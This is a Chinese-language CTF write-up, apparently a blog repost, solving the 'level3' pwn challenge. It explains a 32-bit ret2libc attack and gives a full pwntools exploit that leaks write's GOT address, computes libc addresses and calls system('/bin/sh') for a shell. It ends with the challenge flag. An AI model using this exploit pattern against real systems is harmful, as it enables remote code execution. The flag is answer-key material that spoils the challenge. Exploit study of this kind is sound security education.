pwn level3

解压之后有一个level3和libc_32.so.6,拖进ida(32位)
在这里插入图片描述
主要就是这两个函数,一个write和一个read
这道题的基本思路就是通过第一次溢出将write函数在got表中的地址泄露,然后减去在libc_32.so.6中的偏移,得到基地址,在加上ibc_32.so.6中找到的system和"/bin/sh"偏移得到真实的地址,然后再执行一次main函数进行第二次溢出
对于write,system函数的偏移地址,都有多种方法可以得到
把libc_32.so.6拖进ida,可以找到write函数和system函数的偏移:
在这里插入图片描述
在这里插入图片描述
寻找"/bin/sh"(用winhex也可以找到)
在这里插入图片描述
write.plt和main.pltt可以在ida中找到
在这里插入图片描述
除了这些以外,我还从别人的wp中学到了方法,如下

from pwn import *
from LibcSeacher import *

p=remote('111.198.29.45',47340)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')

#write_plt=0x08048340
write_plt=elf.plt['write']
write_got=elf.got['write']
#main_addr=0x08048484
main_addr=elf.symbols['main']

#填充字符+write函数地址+main函数地址+write函数的三个参数
payload1='a' * 0x8c + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendlineafter("Input:\n",payload1)

#接收write函数在got表中的地址
write_real=u32(p.recv()[:4])

#system_off=0x3a940
system_off=libc.symbols['system']
#bin_off=0x15902b
bin_off=libc.search('/bin/sh').next()
#write_off=0xd43c0
write_off=libc.symbols['write']

#计算基地址
lib_addr=write_real-write_off
#计算system地址
system_addr=lib_addr+system_off
#计算'/bin/sh'地址
bin_addr=lib_addr+bin_off

#填充字符+system地址+这里不用考虑,随意填充4个字节+'/bin/sh'地址
payload2='a'*0x8c+p32(system_addr)+'aaaa'+p32(bin_addr)
p.sendline(payload2)
p.interactive()

flag:cyberpeace{e808c04302e73cdc5159eef2dcd92f48}
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_45677731/article/details/104864676